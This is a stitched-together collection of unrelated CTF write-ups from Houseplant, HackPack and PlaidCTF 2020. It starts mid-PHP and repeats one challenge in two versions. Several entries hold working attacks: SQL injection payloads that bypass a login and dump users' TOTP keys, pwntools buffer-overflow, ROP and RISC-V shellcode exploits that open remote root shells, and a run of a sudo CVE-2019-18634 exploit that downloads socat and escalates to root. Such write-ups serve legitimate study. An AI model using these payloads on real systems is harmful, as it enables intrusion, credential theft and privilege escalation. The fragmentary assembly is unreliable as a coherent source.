MYSQLI_ASSOC)["username"] == "flagman69") { echo "" . $FLAG . " :o"; } else { echo "Logged in :)"; } } else { echo "Auth fail :("; } } } } } I don't know what you did but it wasn't good. " . $FLAG . " :o Logged in :) Auth fail :( ?> <form method="POST"> <span>Username: </span><input type="text" name="username"> <span>Password: </span><input type="password" name="password"> <input type="submit"> </form> </div> </body></html>``` Authenticating with username `flagman69` should print the flag. The query is concatenating strings, so the website is vulnerable to SQL injection. An additional control is present at the beginning on password value passed: a `strpos` function is used to check if the password contains the char `1`. Trying to bypass the password check with a SQL injection will not print the flag after a correct login, maybe the user is not present. ```POST / HTTP/1.1Host: challs.houseplant.riceteacatpanda.wtf:30001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 39Origin: http://challs.houseplant.riceteacatpanda.wtf:30001Connection: closeReferer: http://challs.houseplant.riceteacatpanda.wtf:30001/Upgrade-Insecure-Requests: 1 username=flagman69&password='+OR+'2'='2 HTTP/1.1 200 OKDate: Fri, 24 Apr 2020 20:55:14 GMTServer: Apache/2.4.38 (Debian)X-Powered-By: PHP/7.2.30Vary: Accept-EncodingContent-Length: 757Connection: closeContent-Type: text/html; charset=UTF-8 <html><head> <title>Super secure login portal</title> <style> .container { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); } body { font-family: sans-serif; } </style> </head><body> <div class="container"> <h1>Super secure login portal</h1> Logged in :) <form method="POST"> <span>Username: </span><input type="text" name="username"> <span>Password: </span><input type="password" name="password"> <input type="submit"> </form> </div> Logged in :) </body></html>``` Using the `UNION` clause you can discover that the `users` table has 3 columns and the second returned is the one with `username`. So the final UNION SQL injection can be crafted passing directly the value to bypass the last check: `flagman69` username. ```POST / HTTP/1.1Host: challs.houseplant.riceteacatpanda.wtf:30001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 58Origin: http://challs.houseplant.riceteacatpanda.wtf:30001Connection: closeReferer: http://challs.houseplant.riceteacatpanda.wtf:30001/Upgrade-Insecure-Requests: 1 username=m3ssap0&password='+UNION+SELECT+2,'flagman69',3+# HTTP/1.1 200 OKDate: Fri, 24 Apr 2020 20:57:59 GMTServer: Apache/2.4.38 (Debian)X-Powered-By: PHP/7.2.30Vary: Accept-EncodingContent-Length: 789Connection: closeContent-Type: text/html; charset=UTF-8 <html><head> <title>Super secure login portal</title> <style> .container { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); } body { font-family: sans-serif; } </style> </head><body> <div class="container"> <h1>Super secure login portal</h1> rtcp{y0u-kn0w-1-didn't-mean-it-like-th@t} :o <form method="POST"> <span>Username: </span><input type="text" name="username"> <span>Password: </span><input type="password" name="password"> <input type="submit"> </form> </div> rtcp{y0u-kn0w-1-didn't-mean-it-like-th@t} :o </body></html>``` So the flag is the following. ```rtcp{y0u-kn0w-1-didn't-mean-it-like-th@t}```
# hackpack ctf 2020 ## pwn ### jsclean Flag: flag{Js_N3v3R_FuN_2_Re4d} Workflow:input a js filename and file contentthe server will write the content to the js fileFinally, the server will call index.js which jsclean(beautify) the code you've just written ```lang=cp = subprocess.run(['/usr/local/bin/node','index.js','-f',js_name],stdout=subprocess.PIPE);``` Solution: overwrite the index.js to read flag.txt #### payload ```lang=cinput filename: index.jsintput content: var fs = require('fs'); data = fs.readFileSync("flag.txt"); console.log(data.toString())``` ### mouseTrap flag: flag{C0nTr0l_S1Z3_4_$h3LL} Basic BoF, without canary, PIERead function with overwritten buffer, call the call_me function to rce **remark**: Simply jump to function call_me will cause movaps error, which implies stack alignment issue, so jump to the line which calls system_plt instead #### payload ```lang=cfrom pwn import * r = remote('cha.hackpack.club',41719)flag = p64(0x40071b) # system_plt payload = 'abcdefghijklmnopqrstuvwx' + p64(0x200)context.arch='amd64'r.recvuntil("Name: ")r.send(payload)r.recvuntil(": ")bof = "b" * 0x18 + flagr.send(bof)r.interactive() ``` ### Climb flag: flag{w0w_A_R34L_LiF3_R0pp3r!} ROP + ret2plt call readplt and write binsh to bss sectionthen set rdi to the string /bin/sh and call system_plt **Remark**: There is also stack-alignment(movaps error) issue in this challenge, so insert a ret in the ROP for stack alignment #### payload ```lang=cfrom pwn import * pop_rdi = p64(0x0000000000400743)pop_rdx = p64(0x0000000000400654)pop_rsi_r15 = p64(0x0000000000400741)ret = p64(0x00000000004004fe) bss = p64(0x601090)callme = p64(0x0000000000400530)readplt = p64(0x0000000000400550) r = remote('cha.hackpack.club', 41702)ropchain = flat( ret, # movaps stack alignment pop_rdi, p64(0x0), pop_rdx, p64(0x8), pop_rsi_r15, bss, p64(0x0), readplt, pop_rdi, bss, callme) payload = 'a' * 40 + ropchain r.recvuntil("? ")r.send(payload)r.send("/bin/sh\0")r.interactive()``` ### Humpty Dumpty's SSH Account **Failed** Shell, bash command, try to become superuser
# Riskv Businessby mito ## 14 Solves, 494pt This is a `RISC-V 64bit` binary challenge. ```$ file pwnme pwnme: ELF 64-bit LSB executable, UCB RISC-V, version 1 (SYSV), statically linked, for GNU/Linux 4.15.0, BuildID[sha1]=767a1cb9134fcea1f054ec211aacb7bea0c5d0d2, not stripped``` The vulnerability in this binary is a simple `Stack BoF`. The stack address(`0x4000800c80`) is leaked. ```Question 1. What kind of sound do you make when the boogey man jumps out of the shadows and yells 'BOO!' right in your face?!(Please file your answer in memory at location 0x4000800c80...):``` We do not have an environment to run RISC-V 64bit binary. First,we installed `QEMU` referring to the following. [https://qiita.com/Kosuke_Matsui/items/14aadce506fe3df79600](https://qiita.com/Kosuke_Matsui/items/14aadce506fe3df79600) We were able to run this binary locally in Ubuntu 16.04 64bit LTS. ```$ qemu-riscv64 ./pwnmeQuestion 1. What kind of sound do you make when the boogey man jumps out of the shadows and yells 'BOO!' right in your face?!(Please file your answer in memory at location 0x40007ffd90...):AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEXACTLY: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped)``` Furthermore, we were able to decompile this binary using `Ghidra` by installing the contents of the following URL. [https://github.com/mumbel/ghidra_riscv](https://github.com/mumbel/ghidra_riscv) The decompile result of main function is as follows.```int main(void) { char acStack96 [8]; char buff [80]; puts( "Question 1. What kind of sound do you make when the boogey man jumps out of the shadows andyells \'BOO!\' right in your face?!" ); printf("(Please file your answer in memory at location %p...):",acStack96); fflush((FILE *)stdout); mygets(acStack96); printf("EXACTLY: %s\n"); return 0;}``` We used to the `RISC-V shellcode` below. [http://shell-storm.org/shellcode/files/shellcode-908.php](http://shell-storm.org/shellcode/files/shellcode-908.php) ```| entry0 ();| 0x000100b0 0111 addi sp, sp, -32 ; [01] -r-x section size 76 named .text| 0x000100b2 06ec sd ra, 24(sp)| 0x000100b4 22e8 sd s0, 16(sp)| 0x000100b6 13042102 addi s0, sp, 34| 0x000100ba b767696e lui a5, 0x6e696| 0x000100be 9387f722 addi a5, a5, 559| 0x000100c2 2330f4fe sd a5, -32(s0)| 0x000100c6 b7776810 lui a5, 0x10687| 0x000100ca 33480801 xor a6, a6, a6| 0x000100ce 0508 addi a6, a6, 1| 0x000100d0 7208 slli a6, a6, 0x1c| 0x000100d2 b3870741 sub a5, a5, a6| 0x000100d6 9387f732 addi a5, a5, 815| 0x000100da 2332f4fe sd a5, -28(s0)| 0x000100de 930704fe addi a5, s0, -32| 0x000100e2 0146 li a2, 0| 0x000100e4 8145 li a1, 0| 0x000100e6 3e85 mv a0, a5| 0x000100e8 9308d00d li a7, 221| 0x000100ec 93063007 li a3, 115| 0x000100f0 230ed1ee sb a3, -260(sp)| 0x000100f4 9306e1ef addi a3, sp, -258\ 0x000100f8 6780e6ff jr -2(a3)``` We tried debugging with `gdb-multiarch` and `gef`, but couldn't completely disassemble `RISC-V`. Therefore, we made the Exploit code by referring to the C code. Exploit code and execution result is below. ```from pwn import * #context.log_level = 'debug' BINARY = './pwnme'#elf = ELF(BINARY) shellcode = "\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x93\x06\x30\x07\x23\x0e\xd1\xee\x93\x06\xe1\xef\x67\x80\xe6\xff" if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "cha.hackpack.club" PORT = 41700 s = remote(HOST, PORT)elif len(sys.argv) > 1 and sys.argv[1] == 'd': s = process("qemu-riscv64 -g 1337 ./pwnme", shell=True)else: s = process("qemu-riscv64 ./pwnme", shell=True) s.recvuntil("location 0x")r = s.recvuntil(".")[:-1] stack_addr = int(r, 16)print "stack_addr =", hex(stack_addr) s.recvuntil("):") buf = shellcodebuf += "A"*(88-len(buf))buf += p64(stack_addr)s.sendline(buf) s.interactive() '''mito@ubuntu:~/CTF/HackPack_CTF_2020/Pwn_Riskv_Business$ python solve.py r[+] Opening connection to cha.hackpack.club on port 41700: Donestack_addr = 0x4000800c80[*] Switching to interactive mode$ iduid=0(root) gid=0(root) groups=0(root)$ cd /app$ ls -ltotal 3772-rw-rw-r-- 1 root root 47 Apr 13 15:47 flag.txt-rwxr-xr-x 1 root root 447800 Apr 13 15:57 pwnme-rwxrwxr-x 1 root root 3406664 Apr 13 15:47 qemu-riscv64-static$ cat flag.txtflag{mayb3_1t_w1ll_w0rk_th3_f1fth_t1m3_ar0und}'''```
TLDR: The program is a really old HyperStack program. It is mostly scripts but uses a native XCMD module in 68k asm to check the win conditions. After reversing that, we figure out it's using a cellular automata to change the tile colors and we always need to touch a red tile. We can simulate the behavior and use a depth first search. Full writuep: [https://ctf.harrisongreen.me/2020/plaidctf/the_watness_2/](https://ctf.harrisongreen.me/2020/plaidctf/the_watness_2/)
<h1>Rainbow Vomit</h1> Challenge Text```o.O What did YOU eat for lunch?! The flag is case insensitive. Dev: Tom Hint! Replace spaces in the flag with { or } depending on their respective places within the flag. Hint! Hues of hex Hint! This type of encoding was invented by Josh Cramer. output.png ``` output.png looked like this [![](https://github.com/blinkingthing/ctfs/blob/master/rtcp-houseplant/Rainbow%20Vomit/output.png "output.png")](#) This scrambled colorful mess looked like similair to piet but the hint references encoding by Josh Cramer. Searching Josh Cramer encoding yielded [hexahue](https://www.geocachingtoolbox.com/index.php?lang=en&page=hexahue). An alphabet substituted by sets of colored rectangles. Each rectangle is a different 2x3 containing 6 pixels with a different combination of red, green, blue, cyan, magenta and yellow pixels for each letter. There is also some grayscale for punctuation, numbers and spaces. I tried to decode this manually but it was stressful on my eyes so I decided to stumble through python to solve this. I would love to hear some solutions on how to make this code more efficient, but I did a lot of learning as I figured out what I needed to do step by step. I first eliminated the white borders. Then I disected the image into arrays where I could target each pixel position of each 2x3 section that represented a character. Then I built a dictionary equating letters to sets of six colors red, green, blue, cyan, magenta and yellow. Next I equated those colors to specific RGB values. Then it was just a matter of scanning RGB values for all pixels in the image while organizing the pixels into sets of 6 for each representation of a character. After some trial and error and lots of print statements I was presented with the output: ```there is such as thing as a tomcat but have you ever heard of a tomdog. this is the most important ?uestion of our time, and unfortunately one that may never be answered by modern science. the definition of tomcat is a male cat, yet the name for a male dog is max. wait no. the name for a male dog is just dog. regardless, what would happen if we were to combine a male dog with a tomcat. perhaps wed end up with a dog that vomits out flags, like this one rtcp should,fl5g4,b3,st1cky,or,n0t```the solution could be figured out with the last sentence. Maybe I should've started there. ;) *rtcp{should_fl5g4_b3_st1cky_or_n0t}*
If you look at the source code of the challenge you can see they used browserify for bundling the dependencies. I wrote my version of this client so you can check those dependencies at the link end of this writeup. But in this writeup we are gonna use chrome developer console, put breakpoint in a good place and take control of the socket. Test manually and leak totp keys. ![image-20200427112039042](https://github.com/BirdsArentRealCTF/Writeups/raw/master/houseplant2020/blog-from-the-future/image-20200427112039042.png) I choose 2146th line because we can see response from server in here. And we can access to websocket and msgpack class. ![image-20200427112558712](https://github.com/BirdsArentRealCTF/Writeups/raw/master/houseplant2020/blog-from-the-future/image-20200427112558712.png) After we get those we can manually test our payloads. ```javascriptr.send(o.encode(["getPost", "1"]))``` ![image-20200427112824345](https://github.com/BirdsArentRealCTF/Writeups/raw/master/houseplant2020/blog-from-the-future/image-20200427112824345.png) ```jsonauthor: 1hidden: 0id: 2postDate: 1580947200000text: "They're pretty cool, in my opinion."title: "A review of American sockets"``` This is the post structure. Mind the hidden field because if its true we can't see it. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification using these payloads we can identify database system and develop payload for it. ```javascriptr.send(o.encode(["getPost", "1 and sqlite_version()=sqlite_version()"]))``` It worked so we have sqlite backend. We can leak database structure with payload below. ```javascriptr.send(o.encode(["getPost", "999 or 1=1 UNION SELECT sql,sql,sql,sql,sql,0 from sqlite_master"]))``` This payload allows us to see whole database structure. ```sqlCREATE TABLE "users" ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, "username" TEXT NOT NULL, "totp_key" TEXT NOT NULL)CREATE TABLE "posts" ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, "title" TEXT NOT NULL, "author" INTEGER NOT NULL, "text" TEXT NOT NULL, "postDate" INTEGER NOT NULL, "hidden" INTEGER DEFAULT 0)``` After find out column names we can get user names and totp keys. ```javascriptr.send(o.encode(["getPost", "999 or 1=1 UNION SELECT username,totp_key,0,0,0,0 from users "]));``` ```javascript{id: "alice", title: "J5YD4O2BIZYEMVJYIY3F24S3GQ2VC3ZTKJQVW5JFJUYHKODXORQQ", author: 0, text: 0, postDate: 0, …}{id: "bob", title: "IE3V2RR4HRLUEOBDLVCWCQTYF5LT6RTCONNDMULGGJGS4STUMYWA", author: 0, text: 0, postDate: 0, …}``` After leaking user names and totp keys we need to create totp password. I used pyotp library. ```pythonimport pyotptotp = pyotp.TOTP('IE3V2RR4HRLUEOBDLVCWCQTYF5LT6RTCONNDMULGGJGS4STUMYWA')totp.now() # => '677619'``` Login and get the flag! Don't forget to check my automated blind boolean script https://github.com/BirdsArentRealCTF/Writeups/blob/master/houseplant2020/blog-from-the-future/index.html Do you have any questions or suggestion? Feel free to contact via discord. **enjloezz#7444**
# Humpty Dumpty's SSH Accountby mito ## 33 Solves, 460pt It's a challenge to read the flag after connecting to the server with `ssh` and elevating to `root privileges`. ```$ ssh [email protected] -p 41701[email protected]'s password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-96-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Warning: Security update available for a system commandhumptydumpty@22edcaca289b:~$ ls -ltotal 4-r-------- 1 root root 38 Apr 17 01:58 flaghumptydumpty@22edcaca289b:~$ ``` When we try to read the flag with the `sudo` command, the following message is displayed and the entered `password is displayed as *`. ```humptydumpty@22edcaca289b:~$ sudo cat flag We trust you have received the usual lecture from the local SystemAdministrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. Password: ****** <-- here``` We found that the `sudo` command has changed. ```humptydumpty@22edcaca289b:~$ which sudo/usr/local/bin/sudohumptydumpty@22edcaca289b:~$ ls -l /usr/local/bin/total 664-rwsr-xr-x 1 root root 519216 Apr 15 03:59 sudolrwxrwxrwx 1 root root 4 Apr 15 03:59 sudoedit -> sudo-rwxr-xr-x 1 root root 157088 Apr 15 03:59 sudoreplay``` Since the entered password is displayed, it may be `CVE-2019-18634` of sudo vulnerability. We used the following exploit code. [https://github.com/Plazmaz/CVE-2019-18634/blob/master/self-contained.sh](https://github.com/Plazmaz/CVE-2019-18634/blob/master/self-contained.sh) After running the Exploit code, we were able to elevate to `root privileges`. ```humptydumpty@22edcaca289b:/tmp$ vi exp.sh <-- https://github.com/Plazmaz/CVE-2019-18634/blob/master/self-contained.shhumptydumpty@22edcaca289b:/tmp$ sh exp.sh--2020-04-29 12:25:03-- https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socatResolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.248.133Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.248.133|:443... connected.HTTP request sent, awaiting response... 200 OKLength: 375176 (366K) [application/octet-stream]Saving to: ‘socat’ socat 100%[=============================>] 366.38K --.-KB/s in 0.07s 2020-04-29 12:25:03 (4.80 MB/s) - ‘socat’ saved [375176/375176] We trust you have received the usual lecture from the local SystemAdministrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. Password: Sorry, try again.Sorry, try again.root@22edcaca289b:/tmp# exitsudo: 2 incorrect password attemptsExploiting!root@22edcaca289b:/tmp# iduid=0(root) gid=1000(humptydumpty) groups=1000(humptydumpty)``` We were able to read the flag. ```root@22edcaca289b:/tmp# cd /home/humptydumptyroot@22edcaca289b:/home/humptydumpty# lsflagroot@22edcaca289b:/home/humptydumpty# cat flagflag{7h3_vu1n!_i5?...CVE_2019-18634!}```
# Rainbow Vomit We are given this image: ![](output-chall.png) It's a very small image, and it seems there's a hidden message in it. We just don't know what encoding the image uses. There was a hint that the type of encoding of the image was invented by Josh Cramer, and someone on my team figured out that it uses the hexahue alphabet. [![](hexahue.png)](https://www.omniglot.com/conscripts/hexahue.php) All we need to do is decode the image to get the flag. I thought that it would be very time consuming to decode all the chars by hand, so I decided to make a script to do so. My script loops through all 2x3 blocks of the image, and compares it to another image, which is just the hexahue alphabet but pixel by pixel: ![](alphabet.png) I used GIMP to remove the white sides from the image, and one of my team members friends spent the time to draw (pixel by pixel) the whole hexahue alphabet, and made sure it uses the same colors as the challenge flag. (thanks for that btw) It took a bit of debugging, but I made a fully functioning script that can decode any hexahue image you give it! You can see it [here](sol.py). ```$ py sol.py``` Output: THERE IS SUCH AS THING AS A TOMCAT BUT HAVE YOU EVER HEARD OF A TOMDOG. THIS IS THE MOST IMPORTANT QUESTION OF OUR TIME, AND UNFORTUNATELY ONE THAT MAY NEVER BE ANSWERED BY MODERN SCIENCE. THE DEFINITION OF TOMCAT IS A MALE CAT, YET THE NAME FOR A MALE DOG IS MAX. WAIT NO. THE NAME FOR A MALE DOG IS JUST DOG. REGARDLESS, WHAT WOULD HAPPEN IF WE WERE TO COMBINE A MALE DOG WITH A TOMCAT. PERHAPS WED END UP WITH A DOG THAT VOMITS OUT FLAGS, LIKE THIS ONE RTCP SHOULD,FL5G4,B3,ST1CKY,OR,N0T Flag: `rtcp{should,fl5g4,b3,st1cky,or,n0t}`
## Houseplant CTF 2020 - Imagery CTF challenge "Imagery" was a high-value forensics puzzle with the following description:```Photography is good fun. I took a photo of my 10 Windows earlier on but it turned out too big for my photo viewer. Apparently 2GB is too big. :( https://drive.google.com/file/d/1y4sfIaUrAOK0wXiDZXiOI-q2SYs6M--g/view?usp=sharing Alternate: https://mega.nz/file/R00hgCIa#e0gMZjsGI0cqw88GzbEzKhcijWGTEPQsst4QMfRlNqg Dev: Tom``` Upon downloading the image, I originally ran basic forensic triaging tools on the large blob in an attempt to identify what it was. The ```file``` command outputted "data". After running ```strings``` , LibWTF identified some known Windows file paths. This lead us down a rabbit holeof file carving. After running through the typical triage of file carving tools (foremost/scalpel/radare2) a team member commented that it might be a memory dump. This is where [Volatitlity](https://github.com/volatilityfoundation/volatility) comes in. ## Introducing VolatilityVolatility is a memory forensics framework that allows the end-user to quickly triage a memory dump of an operating system.One crucial component of using Volatility is knowing which memory profile to use. Memory profiles result in parsing data at different offsets. Leveraging the wrong memory profile will just result in an error like the one shown below. ![](https://www.archcloudlabs.com/projects/houseplant_ctf/img_1.png) After looping through **all** available profiles in a default volatility install, it was clear something was missing. Upon searching for additional Windows 10 memory profiles, LibWTF identified this [FireEye](https://github.com/fireeye/win10_volatility) GitHub repo. After cloning this repo, and running a simple test of ```pslist``` to ensure the memory profile was correct, LibWTF had success at listing running processes during the time the memory dump occurred. ![](https://www.archcloudlabs.com/projects/houseplant_ctf/img_2.png) Looking at the list of running processes, notepad.exe makes the most sense at face value to hold a flag for a CTF. Additionally, the organizers stated that the flag was in plain text.Now that a target process has been identified, we can dump the memory. ![](https://www.archcloudlabs.com/projects/houseplant_ctf/img_3.png) ## Dumping Memory Volatility can dump the memory (and [more]()) of a specific process for further analysis. By executing the command below, an end-user can begin to look at what was in notepad.exe's memory during the time of memory capture. ```mkdir notepad_memdump;vol.py -f imagery.img --profile=Windows10_ memdump -p 6076 -D notepad_memdump/``` *Note, failing to specify a process with ```-p``` will dump all processes within the memory image.* At this point, a raw memory has been placed within the ```notepad_memdump/``` directory. LibWTF then ran a hexdump and redirected the output to a file.```xxd 6076.dmp > notepad.xxd``` Finally, a recursive grep to identify the flag format was executed and the flag was revealed ```grep -rail "r.t.c.p"```.![](https://www.archcloudlabs.com/projects/houseplant_ctf/img_4.png) *Note, the "." between rtcp is required per the hex-dump output.*
# Luna We are given a [tar archive](Luna.tar.xz). Let's extract it. ```$ tar xf Luna.tar.xz``` Upon extraction, we find two new files: ```$ ls 1.png Luna.tar.xz'so you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon.zip'``` We have an image, and a zip with a strangely long name. I attempted to unzip the file, but it seems like it needs a password: ```Archive: so you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon.zip[so you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon.zip] jut password:``` I figured that the password has to be somewhere in the image, so I took a look. When I opened the image, it was just a white square. I ran `file` on the image to see the specifics: ```$ file 1.png1.png: PNG image data, 300 x 300, 8-bit/color RGB, non-interlaced``` I also ran strings on it to see if there was a password in it somewhere. ```$ strings 1.pngIHDRzTXtRaw profile type exifv,z}O$k[F5<es1.R&dR6"~,94TU4e3s+V]<aaTvfzTXtRaw profile type iptcRiTXtXML:com.adobe.xmp <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:iptcExt="http://iptc.org/std/Iptc4xmpExt/2008-02-29/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:plus="http://ns.useplus.org/ldf/xmp/1.0/" xmlns:DICOM="http://ns.adobe.com/DICOM/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" iptcExt:DigitalSourceType="http://cv.iptc.org/newscodes/digitalsourcetype/softwareImage" xmpMM:DocumentID="gimp:docid:gimp:456e1492-77c3-4f45-92c3-edd0541a4413" xmpMM:InstanceID="xmp.iid:3e22a217-d4a0-422b-9bc6-58f60eddf54d" xmpMM:OriginalDocumentID="xmp.did:cc8dad5e-07b5-4920-9533-fc26a32b80f0" plus:ModelReleaseStatus="http://ns.useplus.org/ldf/vocab/MR-NON" DICOM:StudyPhysician="awcIsALegendAndIHopeThisIsAStrongPasswordJackTheRipperBegone" GIMP:API="2.0" GIMP:Platform="Linux" GIMP:TimeStamp="1584748572978367" GIMP:Version="2.10.18" dc:Format="image/png" photoshop:CaptionWriter="j00t" photoshop:DateCreated="2020-03-20" xmp:CreatorTool="GIMP 2.10" xmp:Rating="5"> <iptcExt:LocationCreated> <rdf:Bag/> </iptcExt:LocationCreated> <iptcExt:LocationShown> <rdf:Bag/> </iptcExt:LocationShown> <iptcExt:ArtworkOrObject> <rdf:Bag/> </iptcExt:ArtworkOrObject> <iptcExt:RegistryId> <rdf:Bag/> </iptcExt:RegistryId> <iptcExt:PersonInImage> <rdf:Bag> <rdf:li>type="Bag" jutin</rdf:li> </rdf:Bag> </iptcExt:PersonInImage> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/metadata" stEvt:instanceID="xmp.iid:967142e5-a3e0-4326-8335-bbe854fe7477" stEvt:softwareAgent="Gimp 2.10 (Linux)" stEvt:when="-04:00"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:8b519cd0-a1e9-41f7-ae1b-5b66b66b699e" stEvt:softwareAgent="Gimp 2.10 (Linux)" stEvt:when="-04:00"/> <rdf:li stEvt:action="saved" stEvt:changed="/metadata" stEvt:instanceID="xmp.iid:b7345da5-469a-491b-86b2-ad14b96f1132" stEvt:softwareAgent="Gimp 2.10 (Linux)" stEvt:when="-04:00"/> <rdf:li stEvt:action="saved" stEvt:changed="/metadata" stEvt:instanceID="xmp.iid:69b7dcf5-be9f-446d-8614-9ddda3bded58" stEvt:softwareAgent="Gimp 2.10 (Linux)" stEvt:when="-04:00"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:f39a3ecb-64e6-4b8b-98f1-fcb5eb4e1539" stEvt:softwareAgent="Gimp 2.10 (Linux)" stEvt:when="-04:00"/> </rdf:Seq> </xmpMM:History> <plus:ImageSupplier> <rdf:Seq/> </plus:ImageSupplier> <plus:ImageCreator> <rdf:Seq/> </plus:ImageCreator> <plus:CopyrightOwner> <rdf:Seq/> </plus:CopyrightOwner> <plus:Licensor> <rdf:Seq/> </plus:Licensor> <dc:description> <rdf:Alt> <rdf:li xml:lang="x-default">oops, all #FFD2A4#</rdf:li> </rdf:Alt> </dc:description> </rdf:Description> </rdf:RDF></x:xmpmeta> iCCPICC profileQp-8Xupq; X+1n5k1 J|N<jf*9O,q,bbKGD pHYstIMEvIDATx`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!`B0!IEND``` I examined the output, and I found it. ```DICOM:StudyPhysician="awcIsALegendAndIHopeThisIsAStrongPasswordJackTheRipperBegone"``` The password was in plain text! ```awcIsALegendAndIHopeThisIsAStrongPasswordJackTheRipperBegone``` I extracted the zip with that password, and I got two more files: ```Archive: so you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon.zip[so you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon and you take the moon.zip] jut password: inflating: jut inflating: Just In Case.png``` Here's the image from that extraction: ![](just-in-case.png) It looks like a screenshot from GIMP. No idea what that's about. Moving on. Let's look at jut. I ran `binwalk` on that file, and I found this: ```$ binwalk jut DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------45 0x2D Zlib compressed data, best compression``` Looks like it uses zlib compression. Let's extract it! ```$ dd if=jut bs=1 skip=45 of=arch.zlib17893+0 records in17893+0 records out17893 bytes (18 kB, 17 KiB) copied, 0.0473859 s, 378 kB/s``` To double-check that it's zlib, I ran the file utility on it to double-check: ```$ file arch.zlibarch.zlib: zlib compressed data``` Sure enough, it's zlib. I used `zlib-flate` to decompress it, and then I piped the output to a file. ```$ (zlib-flate -uncompress < arch.zlib) > uncompressed``` I ran binwalk on it, but with no success. ```$ binwalk uncompressed DECIMAL HEXADECIMAL DESCRIPTION-------------------------------------------------------------------------------- ``` So then I ran the file utility again, and it seems to be ASCII text. ```$ file uncompresseduncompressed: ASCII text``` I ran `more` on it to have a look inside, and it looks like hex! ```$ more uncompressed exif 536445786966000049492a00080000000a0000010400010000002c01000001010400010000002c0100000201030003000000860000001a010500010000008c0000001b0105000100000094000000280103000100000003000000310102000d0000009c0000003201020014000000aa0000006987040001000000be0000002588040001000000d000000032010000080008000800fc2900005b000000fc2900005b00000047494d5020322e31302e31380000323032303a30333a32302031393a30343a313700010001a0030001000000010000000000000003000200050003000000fa00000004000500030000001201000006000500010000002a01000000000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000a000000080000010400010000000001000001010400010000000001000002010300030000009801000003010300010000000600000006010300010000000600000015010300010000000300000001020400010000009e01000002020400010000005013000000000000080008000800ffd8ffe000104a46494600010100000100010000ffdb004300080606070605080707070909080a0c140d0c0b0b0c1912130f141d1a1f1e1d1a1c1c20242e2720222c231c1c2837292c30313434341f27393d38323c2e333432ffdb0043010909090c0b0c180d0d1832211c213232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232ffc00011080100010003012200021101031101ffc4001f0000010501010101010100000000000000000102030405060708090a0bffc400b5100002010303020403050504040000017d01020300041105122131410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6